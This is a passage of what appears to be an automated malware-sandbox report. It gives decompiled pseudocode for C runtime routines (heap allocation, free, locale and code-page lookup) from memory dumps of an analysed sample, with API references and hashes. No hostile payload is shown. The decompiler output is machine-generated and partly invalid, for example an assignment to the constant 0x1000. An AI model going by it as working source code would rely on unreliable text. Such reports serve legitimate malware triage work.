			E0040BF45(void* __ebx, void* __ecx) {
				void* _t2;
				intOrPtr _t3;
				signed int _t13;
				signed int _t14;

				if( *0x458180 == 0) {
					_push(_t13);
					E0041624A(__ebx); // executed
					_t2 = E004165BF(__ecx); // executed
					_t17 = _t2;
					if(_t2 != 0) {
						_t3 = E0040BF98(__ebx, _t17);
						if(_t3 != 0) {
							 *0x45818c = _t3;
							_t14 = 0;
							 *0x458180 = _t3;
						} else {
							_t14 = _t13 | 0xffffffff;
						}
						E0040F644(0);
					} else {
						_t14 = _t13 | 0xffffffff;
					}
					E0040F644(_t17);
					return _t14;
				} else {
					return 0;
				}
			}

0x0040bf4c
0x0040bf52
0x0040bf53
0x0040bf58
0x0040bf5d
0x0040bf61
0x0040bf69
0x0040bf71
0x0040bf78
0x0040bf7d
0x0040bf7f
0x0040bf73
0x0040bf73
0x0040bf73
0x0040bf86
0x0040bf63
0x0040bf63
0x0040bf63
0x0040bf8d
0x0040bf97
0x0040bf4e
0x0040bf50
0x0040bf50

APIs

_free.LIBCMT ref: 0040BF8D

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: b4d64d0d82a41719c2e6ec1cf445135e1ea90e2329b2771b60db8dde1f668e8b
Instruction ID: 129a07882aa2e643f8f1b62a4ca401b17785df98db8309769fc9176253a405f8
Opcode Fuzzy Hash: b4d64d0d82a41719c2e6ec1cf445135e1ea90e2329b2771b60db8dde1f668e8b
Instruction Fuzzy Hash: 91E0A022605A1251D221723B6C0276A0645DB82379B15033FFC10F72E1DF3C88439ADD

Uniqueness

Uniqueness Score: -1.00%

Function 02700E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02700223,?,?), ref: 02700E19
SetErrorMode.KERNELBASE(00000000,?,?,02700223,?,?), ref: 02700E1E

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: e7dac4a71d94e013660a11e51101f42c4e76a731d58acb29b61864f9ff0ace47
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 3ED01231145128B7D7003A94DC09BCD7B5CDF05B66F008011FB0DE9080C770954046E5

Uniqueness

Uniqueness Score: -1.00%

Function 00409A54 Relevance: 1.6, APIs: 1, Instructions: 117
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00409A54(void* __ebx, void* __edx, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v16;
				char _v20;
				void* __edi;
				signed int _t23;
				void* _t27;
				void* _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t37;
				signed int _t39;
				signed int _t43;
				void* _t48;
				void* _t68;
				void* _t71;
				signed int _t76;

				_t70 = __esi;
				_t68 = __edx;
				_t47 = __ebx;
				_t23 =  *0x42c014; // 0xee6350c6
				_v8 = _t23 ^ _t76;
				_t69 = _a8;
				if(( *(_a8 + 0xc) >> 0x0000000c & 0x00000001) == 0) {
					_push(__ebx);
					_push(__esi);
					_t27 = E0041094C(_t69);
					_t48 = 0x42c1a8;
					if(_t27 == 0xffffffff || E0041094C(_t69) == 0xfffffffe) {
						_t28 = _t48;
					} else {
						_t43 = E0041094C(_t69);
						_t28 =  *((intOrPtr*)(0x4582c0 + (_t43 >> 6) * 4)) + (E0041094C(_t69) & 0x0000003f) * 0x38;
					}
					_t9 = _t28 + 0x29; // 0xa0a0a00
					_t29 =  *_t9;
					if(_t29 == 2 || _t29 == 1) {
						L18:
						_t30 = E00409A24(_a4, _t69);
					} else {
						if(E0041094C(_t69) != 0xffffffff && E0041094C(_t69) != 0xfffffffe) {
							_t39 = E0041094C(_t69);
							_t48 =  *((intOrPtr*)(0x4582c0 + (_t39 >> 6) * 4)) + (E0041094C(_t69) & 0x0000003f) * 0x38;
						}
						if( *((char*)(_t48 + 0x28)) >= 0) {
							goto L18;
						} else {
							if(E00410E33( &_v20,  &_v16, 5, _a4) != 0) {
								L17:
								_t30 = 0xffff;
							} else {
								_t71 = 0;
								if(_v20 <= 0) {
									L16:
									_t30 = _a4;
								} else {
									while(1) {
										_t37 = E00410E50( *((char*)(_t76 + _t71 - 0xc)), _t69); // executed
										if(_t37 == 0xffffffff) {
											goto L17;
										}
										_t71 = _t71 + 1;
										if(_t71 < _v20) {
											continue;
										} else {
											goto L16;
										}
										goto L19;
									}
									goto L17;
								}
							}
						}
					}
					L19:
					_pop(_t70);
					_pop(_t47);
				} else {
					_t30 = E00409A24(_a4, _t69);
				}
				return E00404A89(_t30, _t47, _v8 ^ _t76, _t68, _t69, _t70);
			}

0x00409a54
0x00409a54
0x00409a54
0x00409a5c
0x00409a63
0x00409a67
0x00409a73
0x00409a85
0x00409a86
0x00409a88
0x00409a8d
0x00409a96
0x00409ac8
0x00409aa4
0x00409aa5
0x00409ac4
0x00409ac4
0x00409aca
0x00409aca
0x00409acf
0x00409b63
0x00409b67
0x00409add
0x00409ae7
0x00409af6
0x00409b15
0x00409b15
0x00409b1b
0x00000000
0x00409b1d
0x00409b34
0x00409b5c
0x00409b5c
0x00409b36
0x00409b36
0x00409b3b
0x00409b56
0x00409b56
0x00409b3d
0x00409b3d
0x00409b44
0x00409b4e
0x00000000
0x00000000
0x00409b50
0x00409b54
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00409b54
0x00000000
0x00409b3d
0x00409b3b
0x00409b34
0x00409b1b
0x00409b6e
0x00409b6e
0x00409b6f
0x00409a75
0x00409a79
0x00409a7f
0x00409b7c

APIs

__cftof.LIBCMT ref: 00409B2A

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: __cftof
String ID:
API String ID: 1622813385-0
Opcode ID: ad688d3b4fc8343a3606c9e643534c0056ec3b99087d791b631e25c399d0b2ae
Instruction ID: ec981bd540fb891a759b9f1c5623af013350b2984f50635f85896489c22159ce
Opcode Fuzzy Hash: ad688d3b4fc8343a3606c9e643534c0056ec3b99087d791b631e25c399d0b2ae
Instruction Fuzzy Hash: DC31FB726141586AD7186639AC429BF77B8AE45734B64023FF414FA1D3EE3CEC83865C

Uniqueness

Uniqueness Score: -1.00%

Function 0040FEA9 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040FEA9(signed int _a4, signed int _a8) {
				void* _t8;
				signed int _t13;
				signed int _t18;
				long _t19;

				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x4585cc, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E0040DCC0();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E0040938C(__eflags))) = 0xc;
							__eflags = 0;
							return 0;
						}
						__eflags = E0040DD0B(__eflags, _t19);
						if(__eflags == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x0040feaf
0x0040feb4
0x0040fec2
0x0040fec2
0x0040fec8
0x0040feca
0x0040feca
0x0040fee1
0x0040feea
0x0040fef2
0x00000000
0x00000000
0x0040fed2
0x0040fed4
0x0040fef6
0x0040fefb
0x0040ff01
0x00000000
0x0040ff01
0x0040fedd
0x0040fedf
0x00000000
0x00000000
0x0040fedf
0x00000000
0x0040fee1
0x0040feba
0x0040fec0
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0040EF12,00000001,00000364,00000008,000000FF,?,?,00405675,?), ref: 0040FEEA

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 98ff4c11156f565ab4c789edb5261316508e8b0f72bf7cd4354a29728a310514
Instruction ID: b7bf03fe8193dcd68a4e9b74d5f2122d65905c73578437fbb6090239df501813
Opcode Fuzzy Hash: 98ff4c11156f565ab4c789edb5261316508e8b0f72bf7cd4354a29728a310514
Instruction Fuzzy Hash: 22F0B431A04225A7DB315A62DC01B5B77489F81760B248037BD04B7AE2DE3CDC0A9AED

Uniqueness

Uniqueness Score: -1.00%

Function 00411292 Relevance: 1.5, APIs: 1, Instructions: 36
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E00411292(void* __eflags, intOrPtr* _a4) {
				intOrPtr _t11;
				intOrPtr _t15;
				intOrPtr* _t22;

				 *0x458064 =  *0x458064 + 1;
				_t22 = _a4;
				_t11 = E0040FEA9(0x1000, 1); // executed
				 *((intOrPtr*)(_t22 + 4)) = _t11;
				E0040F644(0);
				if( *((intOrPtr*)(_t22 + 4)) == 0) {
					asm("lock or [eax], ecx");
					 *((intOrPtr*)(_t22 + 4)) = _t22 + 0x14;
					0x1000 = 2;
				} else {
					_push(0x40);
					asm("lock or [eax], ecx");
				}
				 *((intOrPtr*)(_t22 + 0x18)) = 0x1000;
				_t15 =  *((intOrPtr*)(_t22 + 4));
				 *(_t22 + 8) =  *(_t22 + 8) & 0x00000000;
				 *_t22 = _t15;
				return _t15;
			}

0x00411297
0x0041129e
0x004112aa
0x004112b1
0x004112b4
0x004112c3
0x004112d2
0x004112da
0x004112dd
0x004112c5
0x004112c5
0x004112c8
0x004112c8
0x004112de
0x004112e1
0x004112e4
0x004112e9
0x004112ed

APIs

Part of subcall function 0040FEA9: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0040EF12,00000001,00000364,00000008,000000FF,?,?,00405675,?), ref: 0040FEEA

_free.LIBCMT ref: 004112B4

Part of subcall function 0040F644: HeapFree.KERNEL32(00000000,00000000,?,004173D6,?,00000000,?,?,?,00417679,?,00000007,?,?,00417B6C,?), ref: 0040F65A
Part of subcall function 0040F644: GetLastError.KERNEL32(?,?,004173D6,?,00000000,?,?,?,00417679,?,00000007,?,?,00417B6C,?,?), ref: 0040F66C

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID:
API String ID: 314386986-0
Opcode ID: 1d55d88af3b0bad510da6dd5b080587a20525f5c9ad234eaad60a1456117a0c6
Instruction ID: 39d7ec1ea5d1594db5a45e97cb8285654c438593292d74bf4039fae5fce38b00
Opcode Fuzzy Hash: 1d55d88af3b0bad510da6dd5b080587a20525f5c9ad234eaad60a1456117a0c6
Instruction Fuzzy Hash: 1DF062725007049FD3359F46D806B96B7E8EB80B11F10843FE79AAB6E1D7B8B445CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0040FE5B Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040FE5B(long _a4) {
				void* _t4;
				long _t8;

				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E0040938C(__eflags))) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x4585cc, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E0040DCC0();
					if(__eflags == 0) {
						goto L7;
					}
					__eflags = E0040DD0B(__eflags, _t8);
					if(__eflags == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x0040fe61
0x0040fe67
0x0040fe99
0x0040fe9e
0x0040fea4
0x00000000
0x0040fea4
0x0040fe6b
0x0040fe6d
0x0040fe6d
0x0040fe84
0x0040fe8d
0x0040fe95
0x00000000
0x00000000
0x0040fe75
0x0040fe77
0x00000000
0x00000000
0x0040fe80
0x0040fe82
0x00000000
0x00000000
0x0040fe82
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00405675,?,?,?,?,?,00401137,?,?), ref: 0040FE8D

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 03aba088ddd22807cf8d0ce42aa83e31c0671a7f3b1648d1d3eb3dbeb17f0ebf
Instruction ID: 2d4036221228be05321785a9e5c68026f33ea1ad122bbd5d895f2ab95ff3cf43
Opcode Fuzzy Hash: 03aba088ddd22807cf8d0ce42aa83e31c0671a7f3b1648d1d3eb3dbeb17f0ebf
Instruction Fuzzy Hash: 97E0657150531296D7312676DC00B5F7A489F457A0F15413BAD08B6AE3DB7CDC0585FD

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00418B7A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E00418B7A(void* __ecx, signed int _a4, intOrPtr _a8) {
				short _v8;
				short _t17;
				signed int _t18;
				signed int _t23;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				void* _t30;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr* _t36;
				intOrPtr* _t37;

				_push(__ecx);
				_t23 = _a4;
				if(_t23 == 0) {
					L21:
					if(GetLocaleInfoW( *(_a8 + 8), 0x20001004,  &_v8, 2) != 0) {
						_t17 = _v8;
						if(_t17 == 0) {
							_t17 = GetACP();
						}
						L25:
						return _t17;
					}
					L22:
					_t17 = 0;
					goto L25;
				}
				_t18 = 0;
				if( *_t23 == 0) {
					goto L21;
				}
				_t36 = L"ACP";
				_t25 = _t23;
				while(1) {
					_t30 =  *_t25;
					if(_t30 !=  *_t36) {
						break;
					}
					if(_t30 == 0) {
						L7:
						_t26 = _t18;
						L9:
						if(_t26 == 0) {
							goto L21;
						}
						_t37 = L"OCP";
						_t27 = _t23;
						while(1) {
							_t31 =  *_t27;
							if(_t31 !=  *_t37) {
								break;
							}
							if(_t31 == 0) {
								L17:
								if(_t18 != 0) {
									_t17 = E0040E957(_t23, _t23);
									goto L25;
								}
								if(GetLocaleInfoW( *(_a8 + 8), 0x2000000b,  &_v8, 2) == 0) {
									goto L22;
								}
								_t17 = _v8;
								goto L25;
							}
							_t32 =  *((intOrPtr*)(_t27 + 2));
							if(_t32 !=  *((intOrPtr*)(_t37 + 2))) {
								break;
							}
							_t27 = _t27 + 4;
							_t37 = _t37 + 4;
							if(_t32 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						_t18 = _t18 | 0x00000001;
						goto L17;
					}
					_t33 =  *((intOrPtr*)(_t25 + 2));
					if(_t33 !=  *((intOrPtr*)(_t36 + 2))) {
						break;
					}
					_t25 = _t25 + 4;
					_t36 = _t36 + 4;
					if(_t33 != 0) {
						continue;
					}
					goto L7;
				}
				asm("sbb edx, edx");
				_t26 = _t25 | 0x00000001;
				goto L9;
			}

0x00418b7f
0x00418b80
0x00418b87
0x00418c2b
0x00418c44
0x00418c4a
0x00418c4f
0x00418c51
0x00418c51
0x00418c57
0x00418c5a
0x00418c5a
0x00418c46
0x00418c46
0x00000000
0x00418c46
0x00418b8d
0x00418b92
0x00000000
0x00000000
0x00418b98
0x00418b9d
0x00418b9f
0x00418b9f
0x00418ba5
0x00000000
0x00000000
0x00418baa
0x00418bc1
0x00418bc1
0x00418bca
0x00418bcc
0x00000000
0x00000000
0x00418bce
0x00418bd3
0x00418bd5
0x00418bd5
0x00418bdb
0x00000000
0x00000000
0x00418be0
0x00418bfe
0x00418c00
0x00418c23
0x00000000
0x00418c28
0x00418c1b
0x00000000
0x00000000
0x00418c1d
0x00000000
0x00418c1d
0x00418be2
0x00418bea
0x00000000
0x00000000
0x00418bec
0x00418bef
0x00418bf5
0x00000000
0x00000000
0x00000000
0x00418bf7
0x00418bf9
0x00418bfb
0x00000000
0x00418bfb
0x00418bac
0x00418bb4
0x00000000
0x00000000
0x00418bb6
0x00418bb9
0x00418bbf
0x00000000
0x00000000
0x00000000
0x00418bbf
0x00418bc5
0x00418bc7
0x00000000

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00418E98,00000002,00000000,?,?,?,00418E98,?,00000000), ref: 00418C13
GetLocaleInfoW.KERNEL32(?,20001004,00418E98,00000002,00000000,?,?,?,00418E98,?,00000000), ref: 00418C3C
GetACP.KERNEL32(?,?,00418E98,?,00000000), ref: 00418C51

Strings

OCP, xrefs: 00418BCE
ACP, xrefs: 00418B98

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 409ad1733c56c7d77430d8874e3d42261ad21a3cd0a1bd7e5addbd31abaf3dea
Instruction ID: 06b1c949b9e7bda2f43a8b6a2639055cd48ebda1064a72e6eaf1b4bce6f961c9
Opcode Fuzzy Hash: 409ad1733c56c7d77430d8874e3d42261ad21a3cd0a1bd7e5addbd31abaf3dea
Instruction Fuzzy Hash: 2E21B5B2705100A6DB249B24C900AE773A7EB54B54B56842EF90AD7210FF36EDC1C3AC

Uniqueness

Uniqueness Score: -1.00%

Function 02718FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,027192FF,00000002,00000000,?,?,?,027192FF,?,00000000), ref: 0271907A
GetLocaleInfoW.KERNEL32(?,20001004,027192FF,00000002,00000000,?,?,?,027192FF,?,00000000), ref: 027190A3
GetACP.KERNEL32(?,?,027192FF,?,00000000), ref: 027190B8

Strings

ACP, xrefs: 02718FFF
OCP, xrefs: 02719035

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 409ad1733c56c7d77430d8874e3d42261ad21a3cd0a1bd7e5addbd31abaf3dea
Instruction ID: 2b9823da747e0ff782235d16375454695190ca3ad93f5b4645c173dc6a5fc235
Opcode Fuzzy Hash: 409ad1733c56c7d77430d8874e3d42261ad21a3cd0a1bd7e5addbd31abaf3dea
Instruction Fuzzy Hash: C7218E36B00116EADB349F6DC921BD773A7AF44A54B568464EA0AD7210F733DE42C390

Uniqueness

Uniqueness Score: -1.00%

Function 00418D4F Relevance: 7.7, APIs: 5, Instructions: 183
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00418D4F(void* __ecx, void* __edx, void* __eflags, signed short _a4, short* _a8, short* _a12) {
				signed int _v8;
				int _v12;
				int _v16;
				char _v20;
				signed short* _v24;
				short* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t39;
				void* _t45;
				signed short* _t46;
				signed short _t47;
				short* _t48;
				int _t49;
				void* _t53;
				short* _t55;
				short* _t56;
				short* _t57;
				int _t64;
				int _t66;
				short* _t70;
				intOrPtr _t73;
				void* _t75;
				short* _t76;
				intOrPtr _t83;
				short* _t86;
				short* _t89;
				short** _t99;
				short* _t100;
				signed short _t101;
				signed int _t104;
				void* _t105;

				_t39 =  *0x42c014; // 0xee6350c6
				_v8 = _t39 ^ _t104;
				_t86 = _a12;
				_t101 = _a4;
				_v28 = _a8;
				_v24 = E0040ED70(__ecx, __edx) + 0x50;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t45 = E0040ED70(__ecx, __edx);
				_t97 = 0;
				 *((intOrPtr*)(_t45 + 0x34c)) =  &_v20;
				_t89 = _t101 + 0x80;
				_t46 = _v24;
				 *_t46 = _t101;
				_t99 =  &(_t46[2]);
				 *_t99 = _t89;
				if(_t89 != 0 &&  *_t89 != 0) {
					_t83 =  *0x420bc4; // 0x17
					E00418CEE(_t89, 0, 0x420ab0, _t83 - 1, _t99);
					_t46 = _v24;
					_t105 = _t105 + 0xc;
					_t97 = 0;
				}
				_v20 = _t97;
				_t47 =  *_t46;
				if(_t47 == 0 ||  *_t47 == _t97) {
					_t48 =  *_t99;
					__eflags = _t48;
					if(_t48 == 0) {
						L19:
						_v20 = 0x104;
						_t49 = GetUserDefaultLCID();
						_v12 = _t49;
						_v16 = _t49;
						goto L20;
					}
					__eflags =  *_t48 - _t97;
					if(__eflags == 0) {
						goto L19;
					}
					E00418690(_t89, _t97, __eflags,  &_v20);
					_pop(_t89);
					goto L20;
				} else {
					_t70 =  *_t99;
					if(_t70 == 0) {
						L8:
						E00418776(_t89, _t97, __eflags,  &_v20);
						L9:
						_pop(_t89);
						if(_v20 != 0) {
							_t100 = 0;
							__eflags = 0;
							L25:
							asm("sbb esi, esi");
							_t101 = E00418B7A(_t89,  ~_t101 & _t101 + 0x00000100,  &_v20);
							__eflags = _t101;
							if(_t101 == 0) {
								L22:
								_t53 = 0;
								L23:
								return E00404A89(_t53, _t86, _v8 ^ _t104, _t97, _t100, _t101);
							}
							_t55 = IsValidCodePage(_t101 & 0x0000ffff);
							__eflags = _t55;
							if(_t55 == 0) {
								goto L22;
							}
							_t56 = IsValidLocale(_v16, 1);
							__eflags = _t56;
							if(_t56 == 0) {
								goto L22;
							}
							_t57 = _v28;
							__eflags = _t57;
							if(_t57 != 0) {
								 *_t57 = _t101;
							}
							E0040FCAB(_v16,  &(_v24[0x128]), 0x55, _t100);
							__eflags = _t86;
							if(_t86 == 0) {
								L34:
								_t53 = 1;
								goto L23;
							}
							_t33 =  &(_t86[0x90]); // 0xd0
							E0040FCAB(_v16, _t33, 0x55, _t100);
							_t64 = GetLocaleInfoW(_v16, 0x1001, _t86, 0x40);
							__eflags = _t64;
							if(_t64 == 0) {
								goto L22;
							}
							_t36 =  &(_t86[0x40]); // 0x30
							_t66 = GetLocaleInfoW(_v12, 0x1002, _t36, 0x40);
							__eflags = _t66;
							if(_t66 == 0) {
								goto L22;
							}
							_t38 =  &(_t86[0x80]); // 0xb0
							E0041B04E(_t38, _t101, _t38, 0x10, 0xa);
							goto L34;
						}
						_t73 =  *0x420aac; // 0x41
						_t75 = E00418CEE(_t89, _t97, 0x4207a0, _t73 - 1, _v24);
						_t105 = _t105 + 0xc;
						if(_t75 == 0) {
							L20:
							_t100 = 0;
							__eflags = 0;
							L21:
							if(_v20 != 0) {
								goto L25;
							}
							goto L22;
						}
						_t76 =  *_t99;
						_t100 = 0;
						if(_t76 == 0) {
							L14:
							E00418776(_t89, _t97, __eflags,  &_v20);
							L15:
							_pop(_t89);
							goto L21;
						}
						_t118 =  *_t76;
						if( *_t76 == 0) {
							goto L14;
						}
						E004186DB(_t89, _t97, _t118,  &_v20);
						goto L15;
					}
					_t114 =  *_t70 - _t97;
					if( *_t70 == _t97) {
						goto L8;
					}
					E004186DB(_t89, _t97, _t114,  &_v20);
					goto L9;
				}
			}

0x00418d57
0x00418d5e
0x00418d65
0x00418d69
0x00418d6d
0x00418d7b
0x00418d80
0x00418d81
0x00418d82
0x00418d83
0x00418d8b
0x00418d8d
0x00418d93
0x00418d99
0x00418d9c
0x00418d9e
0x00418da1
0x00418da5
0x00418dac
0x00418db9
0x00418dbe
0x00418dc1
0x00418dc4
0x00418dc4
0x00418dc6
0x00418dc9
0x00418dcd
0x00418e3d
0x00418e3f
0x00418e41
0x00418e54
0x00418e54
0x00418e5b
0x00418e61
0x00418e64
0x00000000
0x00418e64
0x00418e43
0x00418e46
0x00000000
0x00000000
0x00418e4c
0x00418e51
0x00000000
0x00418dd4
0x00418dd4
0x00418dd8
0x00418dea
0x00418dee
0x00418df3
0x00418df7
0x00418df8
0x00418e80
0x00418e80
0x00418e82
0x00418e8e
0x00418e98
0x00418e9c
0x00418e9e
0x00418e6f
0x00418e6f
0x00418e71
0x00418e7f
0x00418e7f
0x00418ea4
0x00418eaa
0x00418eac
0x00000000
0x00000000
0x00418eb3
0x00418eb9
0x00418ebb
0x00000000
0x00000000
0x00418ebd
0x00418ec0
0x00418ec2
0x00418ec4
0x00418ec4
0x00418ed5
0x00418eda
0x00418edc
0x00418f3c
0x00418f3e
0x00000000
0x00418f3e
0x00418ee1
0x00418eeb
0x00418efb
0x00418f01
0x00418f03
0x00000000
0x00000000
0x00418f0b
0x00418f1a
0x00418f20
0x00418f22
0x00000000
0x00000000
0x00418f2c
0x00418f34
0x00000000
0x00418f39
0x00418dfe
0x00418e0d
0x00418e12
0x00418e17
0x00418e67
0x00418e67
0x00418e67
0x00418e69
0x00418e6d
0x00000000
0x00000000
0x00000000
0x00418e6d
0x00418e19
0x00418e1b
0x00418e1f
0x00418e31
0x00418e35
0x00418e3a
0x00418e3a
0x00000000
0x00418e3a
0x00418e21
0x00418e24
0x00000000
0x00000000
0x00418e2a
0x00000000
0x00418e2a
0x00418dda
0x00418ddd
0x00000000
0x00000000
0x00418de3
0x00000000
0x00418de3

APIs

Part of subcall function 0040ED70: GetLastError.KERNEL32(?,00000000,?,0040B354,00000000,00000000,?,?,004100E1,00000000,00000000,00000000,00000000,?), ref: 0040ED75
Part of subcall function 0040ED70: SetLastError.KERNEL32(00000000,00000008,000000FF,?,004100E1,00000000,00000000,00000000,00000000,?), ref: 0040EE13

Part of subcall function 0040ED70: _free.LIBCMT ref: 0040EDD2
Part of subcall function 0040ED70: _free.LIBCMT ref: 0040EE08

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00418E5B
IsValidCodePage.KERNEL32(00000000), ref: 00418EA4
IsValidLocale.KERNEL32(?,00000001), ref: 00418EB3
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00418EFB
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00418F1A

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: 8abd91dc7230f37f07f432dc0d089968ffe94abb7c45ff0d6261bed20ed5ad57
Instruction ID: 873066a6b6ae4bdcdd0245b1534ac56cf7f02b0dd3b72dcdfb265f49430a112f
Opcode Fuzzy Hash: 8abd91dc7230f37f07f432dc0d089968ffe94abb7c45ff0d6261bed20ed5ad57
Instruction Fuzzy Hash: 24518F71A00305AFDB10DFA5DC41AEF77B8BF18704F14446EE910E7291EB789984CB69

Uniqueness

Uniqueness Score: -1.00%

Function 027191B6 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

